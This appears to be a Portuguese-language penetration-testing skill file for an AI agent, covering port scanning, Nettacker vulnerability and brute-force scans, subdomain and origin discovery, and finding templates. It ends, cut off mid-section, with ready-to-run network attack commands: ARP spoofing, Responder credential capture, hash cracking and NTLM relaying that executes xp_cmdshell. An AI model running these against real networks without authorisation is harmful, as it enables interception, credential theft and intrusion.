---
name: pentest-network-scanning
description: Network reconnaissance and port scanning using Naabu, hping3, and complementary tools
type: skill
---

# Network Scanning & Port Enumeration

## 🎯 pfSense Detection & Routing

> **IMPORTANTE:** Se durante o scan de rede você identificar um alvo **pfSense**, **ATIVE A SKILL `pentest-pfsense`** imediatamente.

### Indicadores de pfSense
```bash
# Web GUI detection
curl -skI https://TARGET | grep -iE "server:|pfsense"
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate"

# Nmap detection
nmap -sV -p 443 TARGET | grep -iE "nginx|pfsense"

# Shodan passive detection
shodan search "product:pfsense http.title:pfSense"
```

### Sinais de Alerta
- [ ] Porta 443 com nginx e título "pfSense"
- [ ] Porta 22 com OpenSSH (versões específicas)
- [ ] Portas 1194 (OpenVPN), 500/4500 (IPSec)
- [ ] Porta 161 SNMP com OID pfSense
- [ ] Certificado SSL com CN=pfSense

### Ação Imediata
```bash
# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para enumeração geral de rede
# Use pentest-pfsense para:
# - CVE verification específica
# - Command injection testing (interfaces_gif_edit.php, etc.)
# - Web GUI attack surface especializada
# - Post-exploitation em firewall
```

---

## Objetivo
Realizar descoberta de hosts, enumeração de portas e mapeamento de superfície de ataque de rede usando **Naabu** como ferramenta primária, complementado por hping3 para técnicas de evasão.

## Ferramenta Primária: Naabu

Naabu é um port scanner escrito em Go que realiza varreduras SYN/CONNECT/UDP de forma rápida e confiável.

### Instalação e Verificação
```bash
# Verificar instalação
naabu -version

# Health check
naabu -health-check
```

### Prerequisites
- **Linux**: `libpcap-dev` instalado (`apt install -y libpcap-dev`)
- **Windows**: Npcap instalado
- **Mac**: `brew install libpcap`
- **Root privileges**: Necessários para SYN scan (recomendado)

---

## 1. Quick Commands (PTES 2.5.4 - Active Footprinting)

### Scan Básico
```bash
# Single host (top 100 ports)
naabu -host example.com

# Single host com saída silenciosa
naabu -host example.com -silent

# Múltiplos hosts
naabu -host example.com,google.com,192.168.1.1

# Lista de hosts
naabu -l hosts.txt
```

### Scan de Portas Específicas
```bash
# Portas específicas
naabu -host example.com -p 80,443,8080,8443

# Range de portas
naabu -host example.com -p 1-1000

# Todas as portas (1-65535)
naabu -host example.com -p -

# Top ports
naabu -host example.com -tp 1000

# Excluir portas
naabu -host example.com -p - -ep 22,23
```

### Scan por Tipo
```bash
# SYN scan (requer root) - mais rápido e stealth
naabu -host example.com -s SYN

# CONNECT scan (não requer root)
naabu -host example.com -s CONNECT

# UDP scan
naabu -host example.com -p u:53,u:161,u:123

# Payload customizado para UDP
naabu -host example.com -p u:53 -cp "DNS query"
```

### Output e Formatos
```bash
# JSON output
naabu -host example.com -j -o output.json

# CSV output
naabu -host example.com -csv -o output.csv

# Texto simples
naabu -host example.com -o output.txt

# Pipe para outras ferramentas
naabu -host example.com -silent | httpx -silent
```

---

## 2. Host Discovery (PTES 2.5.4.1 - Ping Sweeps)

### Técnicas de Host Discovery
```bash
# Apenas host discovery (sem port scan)
naabu -host 192.168.1.0/24 -sn

# ARP ping (rede local)
naabu -host 192.168.1.0/24 -sn -arp

# ICMP echo request
naabu -host 192.168.1.0/24 -sn -pe

# TCP SYN ping (portas específicas)
naabu -host 192.168.1.0/24 -sn -ps 80,443

# TCP ACK ping
naabu -host 192.168.1.0/24 -sn -pa 443

# ICMP timestamp
naabu -host 192.168.1.0/24 -sn -pp

# IPv6 neighbor discovery
naabu -host 2001:db8::/32 -sn -nd

# Combinar múltiplas probes
naabu -host 192.168.1.0/24 -sn -arp -pe -ps 80,443
```

### Skip Host Discovery
```bash
# Pular host discovery, scan direto
naabu -host example.com -Pn
```

---

## 3. Advanced Scanning (PTES 2.5.4.8 - Port Scanning)

### Rate Limiting e Performance
```bash
# Ajustar rate (packets/segundo)
naabu -host example.com -rate 1000

# Threads internas
naabu -host example.com -c 25

# Timeout
naabu -host example.com -timeout 5000

# Retries
naabu -host example.com -retries 3

# Warm-up time entre fases
naabu -host example.com -warm-up-time 2
```

### IPv4/IPv6 Scanning
```bash
# Scan dual-stack (default)
naabu -host example.com

# Apenas IPv4
naabu -host example.com -iv 4

# Apenas IPv6
naabu -host example.com -iv 6

# Scan todos os IPs de um domínio
naabu -host example.com -sa
```

### CDN/WAF Exclusion (PTES 2.5.4 - Active Footprinting)
```bash
# Excluir IPs de CDN (scan apenas 80,443)
naabu -host example.com -ec

# Excluir CDN e mostrar qual CDN está usando
naabu -host example.com -ec -cdn

# Suportados: Cloudflare, Akamai, Incapsula, Sucuri
```

### Passive Port Discovery
```bash
# Shodan InternetDB (sem enviar pacotes)
naabu -host example.com -passive

# Combinar passive + active
naabu -host example.com -passive -p 80,443
```

---

## 4. Network Interface Configuration

### Interface Selection
```bash
# Listar interfaces disponíveis
naabu -il

# Usar interface específica
naabu -host example.com -i eth0

# Source IP específico
naabu -host example.com -source-ip 192.168.1.100

# Source port específico
naabu -host example.com -source-port 54321
```

### Proxy Support
```bash
# SOCKS5 proxy
naabu -host example.com -proxy 127.0.0.1:9050

# Proxy com autenticação
naabu -host example.com -proxy 127.0.0.1:9050 -proxy-auth user:pass
```

### DNS Resolution
```bash
# Custom resolvers
naabu -host example.com -r 8.8.8.8,1.1.1.1

# Usar sistema DNS como fallback
naabu -host example.com -sr

# Ordem de resolução (p=proxy, l=local, lp=local+proxy, pl=proxy+local)
naabu -host example.com -dns-order pl
```

---

## 5. Nmap Integration (PTES 2.5.4 - Service Discovery)

### Service Discovery com Nmap
```bash
# Executar nmap nos resultados
naabu -host example.com -nmap-cli 'nmap -sV -sC'

# Nmap output XML
naabu -host example.com -nmap-cli 'nmap -sV -oX nmap-output.xml'

# Service version detection
naabu -host example.com -nmap-cli 'nmap -sV -O'

# Script scanning
naabu -host example.com -nmap-cli 'nmap -sC --script vuln'
```

### Service Discovery Nativo
```bash
# Service discovery
naabu -host example.com -sD

# Service version
naabu -host example.com -sV

# Combinar ambos
naabu -host example.com -sD -sV
```

---

## 6. Smart Scanning (PTES 3.1 - Vulnerability Testing)

### Predictive Port Scanning
```bash
# Smart scan com modelo de correlação
naabu -host example.com -ss

# Ajustar threshold de confiança (0-100%)
naabu -host example.com -ss -pt 50
```

### Verification Mode
```bash
# Verificar portas encontradas com TCP verification
naabu -host example.com -verify

# Ping probes para verificação de host
naabu -host example.com -ping
```

---

## 7. Stream Mode (PTES 2.5.4 - Large Scale Scanning)

### Stream para Grandes Volumes
```bash
# Stream mode (sem resume, sem nmap, sem retries)
naabu -l targets.txt -stream -silent

# Stream com rate limiting
naabu -l targets.txt -stream -rate 500
```

---

## 8. Integration Workflows

### Naabu + httpx (Web Server Discovery)
```bash
# Port scan → Web server detection
naabu -host example.com -silent | httpx -silent

# Com output JSON
naabu -host example.com -j | httpx -json

# Filtrar por porta específica
naabu -host example.com -p 80,443,8080 -silent | httpx -title -tech-detect
```

### Naabu + Nuclei (Vulnerability Scanning)
```bash
# Port scan → Vulnerability scan
naabu -host example.com -silent | httpx -silent | nuclei -silent

# Scan específico para portas descobertas
naabu -host example.com -p 80,443 -j | jq -r '.ip' | nuclei -hosts -
```

### Naabu + Subfinder (Full Recon)
```bash
# Subdomain enumeration → Port scan
subfinder -d example.com -silent | naabu -silent

# Com output formatado
subfinder -d example.com -silent | naabu -p 80,443 -silent | httpx -silent
```

### Naabu + Masscan (Large Scale)
```bash
# Masscan para speed → Naabu para verification
masscan -p80,443 192.168.0.0/16 --rate 10000 -oL masscan.txt
cat masscan.txt | awk '{print $4}' | naabu -verify -silent
```

---

## 9. Comparison: Naabu vs hping3

| Característica | Naabu | hping3 |
|---------------|-------|--------|
| **Velocidade** | Ultra-rápido (Go, multi-threaded) | Rápido (single-threaded) |
| **SYN Scan** | ✅ Nativo | ✅ Manual |
| **CONNECT Scan** | ✅ Nativo | ❌ Não suporta |
| **UDP Scan** | ✅ Nativo com payload | ✅ Manual |
| **Host Discovery** | ✅ Múltiplas probes | ✅ ICMP/TCP manual |
| **Output Formats** | JSON, CSV, TXT | Texto apenas |
| **Nmap Integration** | ✅ Nativa | ❌ Manual |
| **Evasion** | Básica | ✅ Avançada (fragmentação, spoofing) |
| **IDS Evasion** | Limitada | ✅ XMAS, NULL, fragmentação |
| **Use Case** | Enumeração em massa | Evasão, firewall testing |

### Quando usar cada ferramenta:

**Usar Naabu quando:**
- Enumeração rápida de múltiplos hosts/portas
- Precisa de output estruturado (JSON/CSV)
- Integração com outras tools (httpx, nuclei)
- Scan de grandes ranges (CIDR)
- Precisa de CDN/WAF detection

**Usar hping3 quando:**
- Firewall stateless detectado
- Precisa de packet crafting customizado
- Testar regras específicas de firewall
- IDS/IPS evasion testing
- Fragmentation attacks

---

## 10. Template de Finding - Port Scanning

```
FINDING: NETWORK-RECONNAISSANCE-NAABU
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting

TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]

DESCRIPTION:
Port scanning via Naabu identificou [X] portas abertas
no alvo, expondo os seguintes serviços: [serviços]

EVIDENCE:
naabu -host [target] -p [ports] -silent
[Output do scan]

SERVICES DISCOVERED:
- Port 22: SSH
- Port 80: HTTP (nginx)
- Port 443: HTTPS (nginx)
- Port 3306: MySQL (interno exposto!)

RECOMMENDATIONS:
- Fechar portas não necessárias
- Implementar firewall rules
- Usar VPN para serviços internos
- Habilitar rate limiting

PTES REFERENCE: Section 2.5.4 (Active Footprinting)
```

### Template de Finding - Serviço Exposto

```
FINDING: EXPOSED-SERVICE-[PORT]
CATEGORY: NETWORK_EXPOSURE
SEVERITY: [MEDIUM/HIGH/CRITICAL]

AFFECTED RESOURCE:
- IP/Hostname: [target]
- Port: [port]
- Service: [service name/version]

DESCRIPTION:
Serviço [service] exposto na porta [port] sem
restrições de acesso adequadas.

EVIDENCE:
naabu -host [target] -p [port] -silent
nmap -sV -p [port] [target]

IMPACT:
- [Descrever impacto potencial]

REMEDIATION:
1. Restringir acesso via security groups/firewall
2. Implementar autenticação
3. Mover para rede privada/VPN
4. Habilitar logging e monitoramento

PTES REFERENCE: Section 2.5.4, 3.1
```

---

## 11. Config File

### Configuração Persistente (~/.config/naabu/config.yaml)
```yaml
# Configuração padrão para todos os scans
rate: 1000
timeout: 1000
retries: 3
scan-type: SYN
ip-version:
  - "4"
  - "6"
exclude-cdn: true
output-cdn: true
json: true
```

---

## 12. Debug e Troubleshooting

### Health Check
```bash
# Verificar se naabu está configurado corretamente
naabu -health-check

# Debug output
naabu -host example.com -debug

# Verbose output
naabu -host example.com -v
```

### Common Issues
```bash
# "permission denied" → Usar CONNECT scan ou root
naabu -host example.com -s CONNECT

# "no valid ipv4/ipv6 targets" → Verificar DNS
naabu -host example.com -sr

# Rate limit issues → Reduzir rate
naabu -host example.com -rate 100
```

---

## 13. Integration with Existing Skills

### Combined Workflow (PTES Phases)

```
PTES 2.5 - External Footprinting:
1. subfinder -d target.com | naabu -silent
2. naabu -host target.com -p - -ec
3. naabu results | httpx | nuclei

PTES 3.1 - Vulnerability Testing:
1. naabu -host target.com -ss (smart scan)
2. naabu -host target.com -nmap-cli 'nmap -sV --script vuln'

PTES 4.1 - Precision Strike:
1. naabu identifica portas abertas
2. hping3 testa firewall rules
3. headi testa HTTP header injection
4. Exploração baseada nos resultados
```

---

## 14. OWASP Nettacker Integration (PTES 2.5.4 - Active Footprinting)

### Visão Geral do Nettacker

OWASP Nettacker é um framework Python-based de penetration testing automatizado que complementa Naabu e hping3 com:
- **106+ módulos** de scan, vulnerabilidade e brute-force
- **Port scanning** com detecção de serviços
- **Vulnerability scanning** com 50+ CVE checks
- **Subdomain enumeration** integrado
- **Web technology detection** (Wappalyzer-based)
- **Multiple output formats**: HTML, JSON, CSV, SARIF
- **REST API + Web UI** para automação

### Quando usar Nettacker vs Naabu

| Característica | Nettacker | Naabu |
|---------------|-----------|-------|
| **Velocidade** | Moderado (Python) | Ultra-rápido (Go) |
| **Port Scanning** | ✅ 1000 top ports | ✅ 1000 top ports |
| **CVE Detection** | ✅ 50+ módulos | ❌ Requer nuclei |
| **Brute-Force** | ✅ 8 módulos | ❌ Não suporta |
| **Subdomain Scan** | ✅ Nativo | ❌ Requer subfinder |
| **Web Tech Detection** | ✅ Nativo | ❌ Requer httpx |
| **API/Web UI** | ✅ REST API + Web UI | ❌ CLI apenas |
| **Report Formats** | HTML, JSON, CSV, SARIF | JSON, CSV, TXT |
| **Service Discovery** | ✅ Signature-based | ✅ Básico |

**Use Nettacker quando:**
- Precisa de vulnerability scanning integrado (CVE checks)
- Quer brute-force em serviços (FTP, SSH, HTTP auth)
- Precisa de subdomain enumeration + port scan em um comando
- Quer API REST para automação/integração
- Precisa de relatórios HTML formatados automaticamente

**Use Naabu quando:**
- Velocidade é crítica (grandes ranges)
- Já tem workflow com httpx + nuclei
- Precisa de CDN/WAF detection avançado
- Quer apenas port scanning rápido

### Nettacker via Docker (Recomendado)

```bash
# Iniciar API + Web UI (já configurado neste projeto)
cd /opt/Tools/Nettacker
docker compose up -d

# Acessar Web UI
# https://localhost:5000
# API Key: mostrar em docker logs nettacker

# Health check
curl -k https://localhost:5000
```

### Nettacker CLI via Docker

```bash
# Port scanning básico (1000 top ports)
docker run --rm owasp/nettacker -i target.com -m port_scan

# Todas as portas
docker run --rm owasp/nettacker -i target.com -m port_scan -g 1-65535

# Port scan + service detection
docker run --rm owasp/nettacker -i target.com -m port_scan --graph d3_tree_v2_graph -o report.html

# Subdomain enumeration + port scan
docker run --rm owasp/nettacker -i target.com -d -m port_scan

# Vulnerability scanning (50+ CVE checks)
docker run --rm owasp/nettacker -i target.com -m *_vuln

# Scan específico para CVEs críticas
docker run --rm owasp/nettacker -i target.com -m f5_cve_2020_5902_vuln,citrix_cve_2019_19781_vuln,log4j_cve_2021_44228_vuln

# Brute-force em serviços
docker run --rm owasp/nettacker -i target.com -m ftp_brute,ssh_brute,http_basic_auth_brute -u admin,root -p password,123456

# Admin panel discovery
docker run --rm owasp/nettacker -i target.com -m admin_scan

# Directory brute-force
docker run --rm owasp/nettacker -i target.com -m dir_scan

# WAF detection
docker run --rm owasp/nettacker -i target.com -m waf_scan

# WordPress scanning
docker run --rm owasp/nettacker -i target.com -m wordpress_version_scan,wp_plugin_scan,wp_xmlrpc_bruteforce_vuln

# Joomla scanning
docker run --rm owasp/nettacker -i target.com -m joomla_version_scan,joomla_user_enum_scan

# Drupal scanning
docker run --rm owasp/nettacker -i target.com -m drupal_version_scan,drupal_modules_scan

# SSL/TLS vulnerability scanning
docker run --rm owasp/nettacker -i target.com -m ssl_weak_cipher_vuln,ssl_version_vuln,heartbleed_vuln,ssl_expired_certificate_vuln

# HTTP security headers check
docker run --rm owasp/nettacker -i target.com -m clickjacking_vuln,content_security_policy_vuln,content_type_options_vuln,xss_protection_vuln

# GraphQL endpoint detection
docker run --rm owasp/nettacker -i target.com -m graphql_vuln

# Combinar múltiplos módulos
docker run --rm owasp/nettacker -i target.com -m port_scan,admin_scan,dir_scan,waf_scan,ssl_*_vuln -o report.html --graph d3_tree_v2_graph

# Scan em lista de targets
docker run --rm -v $(pwd)/targets.txt:/targets.txt owasp/nettacker -l /targets.txt -m port_scan

# Output em diferentes formatos
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.html
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.json
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.csv
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.sarif
```

### Nettacker API Integration

```bash
# Obter API key dos logs
API_KEY=$(docker logs nettacker 2>&1 | grep "API Key" | awk '{print $4}')

# Submeter novo scan via API
curl -k -X POST "https://localhost:5000/new/scan" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${API_KEY}&targets=target.com&selected_modules=port_scan,admin_scan,vuln&report_path_filename=/tmp/report.html"

# Listar resultados
curl -k "https://localhost:5000/results/get_list?page=1" \
  -H "Cookie: key=${API_KEY}"

# Obter resultado específico
curl -k "https://localhost:5000/results/get?id=1" \
  -H "Cookie: key=${API_KEY}"

# Search hosts
curl -k "https://localhost:5000/logs/search?q=port_scan&page=1" \
  -H "Cookie: key=${API_KEY}"

# Obter resultado em JSON
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}"

# Obter resultado em HTML
curl -k "https://localhost:5000/logs/get_html?target=target.com&key=${API_KEY}" -o report.html
```

### Nettacker Modules Reference

#### Scan Modules (Reconnaissance)
```
- port_scan: Open ports + service detection (1000 top ports)
- admin_scan: Admin panels (/admin, /wp-admin, /phpmyadmin)
- dir_scan: Directory brute-forcing
- subdomain_scan: Subdomain enumeration
- waf_scan: Web Application Firewall detection
- http_status_scan: HTTP status codes
- http_redirect_scan: HTTP redirects
- http_html_title_scan: HTML title extraction
- iceroute_version_scan: IceWarp version detection
- cups_version_scan: CUPS version on port 631
- web_technologies_scan: Tech stack detection (Wappalyzer)
- ssl_expiring_certificate_scan: SSL expiry check
- joomla_template_scan, joomla_user_enum_scan, joomla_version_scan
- wordpress_version_scan, wp_plugin_scan, wp_theme_scan, wp_timethumbs_scan
- drupal_version_scan, drupal_modules_scan, drupal_theme_scan
- viewdns_reverse_iplookup_scan: Reverse IP lookup
```

#### Vuln Modules (50+ CVE Checks)
```
Critical CVEs:
- f5_cve_2020_5902_vuln: F5 BIG-IP RCE (CVSS 9.8)
- citrix_cve_2019_19781_vuln: Citrix ADC RCE (CVSS 9.8)
- vbulletin_cve_2019_16759_vuln: vBulletin RCE (CVSS 9.8)
- msexchange_cve_2021_26855: ProxyLogon SSRF (CVSS 9.8)
- log4j_cve_2021_44228_vuln: Log4Shell RCE (CVSS 10.0)
- apache_struts_vuln: Struts RCE CVE-2017-5638 (CVSS 10.0)
- xdebug_rce_vuln: XDebug RCE (CVSS 10.0)

High Severity:
- citrix_cve_2023_24488_vuln: Citrix XSS
- sonicwall_sslvpn_cve_2024_53704_vuln: SonicWall SSLVPN
- ivanti_epmm_cve_2023_35082_vuln: Ivanti EPMM
- confluence_cve_2023_22515_vuln, confluence_cve_2023_22527_vuln
- grafana_cve_2021_43798_vuln
- joomla_cve_2023_23752_vuln

SSL/TLS:
- heartbleed_vuln: CVE-2014-0160
- ssl_weak_cipher_vuln: Weak cipher suites
- ssl_version_vuln: SSLv2/SSLv3 support
- ssl_expired_certificate_vuln: Expired certs
- ssl_signed_certificate_vuln: Self-signed certs

HTTP Security Headers:
- clickjacking_vuln: Missing X-Frame-Options
- content_security_policy_vuln: Missing CSP
- content_type_options_vuln: Missing X-Content-Type-Options
- xss_protection_vuln: Missing X-XSS-Protection
- server_version_vuln: Server banner leak
- x_powered_by_vuln: X-Powered-By leak
- http_cors_vuln: Overly permissive CORS
- http_cookie_vuln: Insecure cookie attributes
- strict_transport_security_vuln: Missing HSTS
```

#### Brute Modules
```
- ftp_brute: FTP authentication
- ssh_brute: SSH authentication
- smtp_brute: SMTP authentication
- telnet_brute: Telnet authentication
- http_basic_auth_brute: HTTP Basic Auth
- http_form_brute: HTTP form login
- http_ntlm_brute: HTTP NTLM auth
- wp_xmlrpc_brute: WordPress XMLRPC
```

### Nettacker + pfSense Detection

```bash
# Detect pfSense via SSL certificate
docker run --rm owasp/nettacker -i pfsense-target.com -m ssl_expiring_certificate_scan,ssl_signed_certificate_vuln

# Web GUI detection
docker run --rm owasp/nettacker -i pfsense-target.com -m http_html_title_scan,web_technologies_scan

# Vulnerability scanning específico
docker run --rm owasp/nettacker -i pfsense-target.com -m clickjacking_vuln,content_security_policy_vuln,ssl_weak_cipher_vuln

# Combinar com nmap para version detection
docker run --rm owasp/nettacker -i pfsense-target.com -m port_scan,ssl_*_vuln,http_*_scan -o pfsense_report.html
```

### Template de Finding - Nettacker Scan

```
FINDING: NETWORK-RECONNAISSANCE-NETTACKER
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting

TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]
- Vulnerabilidades detectadas: [lista]

DESCRIPTION:
OWASP Nettacker identificou [X] portas abertas, [Y] serviços,
e [Z] vulnerabilidades potenciais no alvo.

MODULES USED:
- port_scan: Network port enumeration
- admin_scan: Admin panel discovery
- *_vuln: CVE vulnerability checks
- waf_scan: WAF detection

EVIDENCE:
docker run --rm owasp/nettacker -i [target] -m [modules] -o report.json

OUTPUT FILES:
- report.html: Interactive HTML report with graphs
- report.json: Structured JSON data
- report.csv: Spreadsheet format
- report.sarif: SARIF format for SIEM integration

REMEDIATION:
[Based on specific findings from Nettacker modules]

PTES REFERENCE: Section 2.5.4 (Active Footprinting)
```

### Nettacker Output Formats

```bash
# HTML Report (with interactive graph)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,vuln \
  -o /output/report.html --graph d3_tree_v2_graph

# JSON (structured data)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan \
  -o /output/report.json

# CSV (spreadsheet)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan \
  -o /output/report.csv

# SARIF (SIEM/defect dojo)
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,vuln \
  -o /output/report.sarif

# DefectDojo compatible
docker run --rm -v $(pwd):/output owasp/nettacker \
  -i target.com -m port_scan,vuln \
  -o /output/report.dd.json
```

### Nettacker Profiles

```bash
# Information gathering profile
docker run --rm owasp/nettacker -i target.com --profile information_gathering

# Vulnerability assessment profile
docker run --rm owasp/nettacker -i target.com --profile vulnerabilities

# High severity only
docker run --rm owasp/nettacker -i target.com --profile high_severity

# Backup services detection
docker run --rm owasp/nettacker -i target.com --profile backup

# Brute-force profile
docker run --rm owasp/nettacker -i target.com --profile brute
```

### Nettacker Advanced Options

```bash
# Thread control
docker run --rm owasp/nettacker -i target.com -m port_scan -t 100 -M 20
# -t: threads per host
# -M: parallel module scan

# Timeout and retries
docker run --rm owasp/nettacker -i target.com -m port_scan -T 5 --retries 3

# Time sleep between requests (stealth)
docker run --rm owasp/nettacker -i target.com -m port_scan -w 1

# SOCKS proxy
docker run --rm owasp/nettacker -i target.com -m port_scan -R socks5://127.0.0.1:9050

# Custom user agent
docker run --rm owasp/nettacker -i target.com -m http_*_scan --user-agent "Mozilla/5.0"

# Custom HTTP headers
docker run --rm owasp/nettacker -i target.com -m http_*_scan -H "Authorization: Bearer token" -H "X-Custom: value"

# Verbose output
docker run --rm owasp/nettacker -i target.com -m port_scan -v 3

# Ping before scan
docker run --rm owasp/nettacker -i target.com -m port_scan --ping-before-scan

# Hardware usage control
docker run --rm owasp/nettacker -i target.com -m port_scan --set-hardware-usage low
```

### Nettacker + Naabu Combined Workflow

```bash
# Phase 1: Naabu for fast port discovery
naabu -host target.com -p - -silent -o naabu_ports.txt

# Phase 2: Nettacker for vulnerability scanning on discovered ports
ports=$(cat naabu_ports.txt | grep -oE '[0-9]+' | tr '\n' ',' | sed 's/,$//')
docker run --rm -v $(pwd):/data owasp/nettacker \
  -i target.com -m *_vuln,admin_scan,waf_scan \
  -g "$ports" \
  -o /data/vuln_report.html

# Phase 3: Consolidate results
cat naabu_ports.txt
cat vuln_report.json | jq '.vulnerabilities'
```

---

## 15. Subdomain Enumeration & Asset Discovery (PTES 2.5.4 - Active Footprinting)

### Técnicas de Subdomain Enumeration do Claude-OSINT

```bash
# Fonte primária: crt.sh (Certificate Transparency)
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Fallback chain se crt.sh falhar:
# 1. certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]'

# 2. DNSx com múltiplos resolvers
echo "target.com" | dnsx -silent -resp-only

# 3. Subfinder (passive sources)
subfinder -d target.com -silent

# 4. Amass (active + passive)
amass enum -passive -d target.com
```

### Asset Graph Discipline (29 Tipos de Asset)

```
TIPOS DE ASSET:
1.  DOMAIN_REGISTRAR
2.  DOMAIN
3.  SUBDOMAIN
4.  ORIGIN_SERVER
5.  CDN_ENDPOINT
6.  WAF
7.  LOAD_BALANCER
8.  REVERSE_PROXY
9.  WEB_SERVER
10. API_GATEWAY
11. AUTH_SERVER
12. IDP (Identity Provider)
13. MAIL_SERVER
14. MX_RECORD
15. DNS_SERVER
16. CLOUD_BUCKET (S3, GCS, Azure)
17. CLOUD_FUNCTION
18. CONTAINER_REGISTRY
19. CI_CD_PIPELINE
20. GIT_REPOSITORY
21. DOCUMENTATION_SITE
22. ADMIN_PANEL
23. MONITORING_ENDPOINT
24. BACKUP_SERVER
25. DATABASE_SERVER
26. MESSAGE_QUEUE
27. CACHE_SERVER
28. FILE_STORAGE
29. THIRD_PARTY_INTEGRATION
```

### Edge Taxonomy (Relacionamentos entre Assets)

```
EDGE TYPES:
- RESOLVES_TO: subdomain → IP
- HOSTS: IP → domain
- SERVES: server → content
- PROTECTS: WAF → origin
- CACHES: CDN → origin
- FORWARDS_TO: proxy → backend
- AUTHENTICATES: IdP → application
- STORES: bucket → data
- DEPLOYS: CI/CD → infrastructure
- MONITORS: monitoring → target
- BACKS_UP: backup → primary
```

### WAF/CDN Bypass & Origin Discovery

```bash
# 1. DNS history (SecurityTrails, DNSHistory)
curl -s "https://api.securitytrails.com/v1/domain/target.com/history" \
  -H "APIKEY: $SECURITYTRAILS_KEY" | jq '.records[] | select(.type=="A")'

# 2. SSL certificate history (crt.sh)
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[] | "\(.before_value)|\(.issuer_name)"' | sort -u

# 3. Shodan search (sem enviar pacotes)
shodan search "ssl.cert.subject.cn:*.target.com" --fields ip_str,port,hostnames

# 4. Fullstack/developer endpoints (vazam origem)
curl -s "https://target.com/.git/config"
curl -s "https://target.com/.env"
curl -s "https://target.com/server-status"  # Apache mod_status

# 5. DNS enumeration com tentativas de bypass
for sub in www mail ftp api dev staging prod; do
  dig +short $sub.target.com @8.8.8.8
  dig +short $sub.target.com @1.1.1.1
done
```

### Email Security Analysis (SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSEC)

```bash
# SPF Record
dig +short target.com TXT | grep -i "v=spf1"
# Analisar: ~all (softfail), -all (hardfail), ?all (neutral)
# Risco: include: terceiros não verificados

# DMARC Record
dig +short _dmarc.target.com TXT | grep -i "v=DMARC1"
# Analisar: p=none (monitor), p=quarantine, p=reject
# Risco: pct < 100 (política parcial)

# DKIM Selector Discovery
for selector in default google mailo selector1 _domainkey; do
  dig +short $selector._domainkey.target.com TXT
done

# BIMI Record (Brand Indicators)
dig +short default._bimi.target.com TXT

# MTA-STS
curl -s "https://mta-sts.target.com/.well-known/mta-sts.txt"

# DNSSEC
dig +dnssec target.com | grep -E "flags:|ad"
```

### Template de Finding - Subdomain Takeover Risk

```
FINDING: SUBDOMAIN-TAKEOVER-RISK
CATEGORY: RECONNAISSANCE
SEVERITY: HIGH (se CNAME para serviço inexistente)
PTES: 2.5.4 - Active Footprinting

AFFECTED RESOURCE:
- Subdomain: [subdomain.target.com]
- CNAME: [apaga-servico.github.io / herokuapp.com / etc.]

DESCRIPTION:
O subdomain aponta para um serviço de terceiros que não
está mais provisionado, permitindo subdomain takeover.

EVIDENCE:
dig +short subdomain.target.com
# Retorna: CNAME para serviço inexistente

curl -s https://subdomain.target.com
# Retorna: 404 do serviço (GitHub Pages, Heroku, etc.)

REMEDIATION:
1. Remover DNS record ou
2. Provisionar o serviço no terceiro ou
3. Apontar para página de erro controlada

PTES REFERENCE: Section 2.5.4 (Active Footprinting)
```

---

## 16. NETWORK PROTOCOL ATTACKS (PTES 4.1 - Precision Strike)

### 16.1 ARP Spoofing — MitM Positioning

```bash
# arpspoof (dsniff suite) — Gratuitous ARP
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
```

### 16.2 Selective Targeting (Stealth)

```bash
# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on
```

### 16.3 LLMNR / NBT-NS / mDNS Poisoning

```bash
# Responder — Credential Capture
responder -I eth0 -dwPv

# Key flags:
# -d  Enable answers for DHCP broadcast requests (fingerprinting)
# -w  Start WPAD rogue proxy
# -P  Force NTLM auth for WPAD
# -v  Verbose

# Analyze mode only (passive, no poisoning)
responder -I eth0 -A
```

### 16.4 Captured Hash Formats

| Protocol | Hash Type | Hashcat Mode | Crackability |
|---|---|---|---|
| NTLMv1 | NetNTLMv1 | 5500 | Fast — rainbow tables viable |
| NTLMv2 | NetNTLMv2 | 5600 | Moderate — dictionary + rules |
| NTLMv1-ESS | NetNTLMv1 | 5500 | Fast — same as NTLMv1 |

```bash
# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt

# Relay instead of crack
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"
```

### 16.5 WPAD Abuse

```bash
# Responder with WPAD proxy
responder -I eth0 -wPv

# WPAD flow:
